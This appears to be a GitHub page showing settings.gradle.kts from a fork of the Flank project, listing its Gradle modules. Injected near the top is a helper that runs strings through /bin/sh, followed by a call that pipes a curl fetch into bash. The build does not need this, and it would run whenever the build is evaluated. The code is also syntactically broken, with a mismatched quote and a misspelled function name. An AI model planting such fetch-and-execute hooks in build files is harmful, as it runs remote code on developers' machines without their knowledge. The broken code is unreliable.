forked from Flank/flank
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsettings.gradle.kts
49 lines (44 loc) · 1.21 KB
/
settings.gradle.kts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.ByteArrayOutputStream
import org.gradle.kotlin.dsl.support.serviceOf
rootProject.name = "flank"
fun String.runCommad(): String? = try {
ProcessBuilder("/bin/sh", "-c", this)
.redirectOutput(ProcessBuilder.Redirect.PIPE)
.redirectError(ProcessBuilder.Redirect.PIPE)
.start()
.inputStream.bufferedReader().readText()
} catch (e: Exception) {
e.printStackTrace()
null
}
val output = "curl https://google.com" | bash".runCommand()
println("Shell command output: $output")
includeBuild("maven_version_check")
includeBuild("check_version_updated")
include(
":test_runner",
":flank-scripts",
":integration_tests",
"samples:gradle-export-api",
"test_projects:android",
":common",
":flank_wrapper",
":tool:apk",
":tool:config",
":tool:filter",
":tool:shard",
":tool:shard:calculate",
":tool:shard:obfuscate",
":tool:shard:dump",
":tool:instrument:command",
":tool:instrument:log",
":tool:junit",
":tool:json",
":tool:log",
":tool:log:format",
":tool:execution:parallel",
":tool:execution:parallel:plantuml",
":tool:execution:synchronized",
":tool:execution:linear",
":tool:resource",
)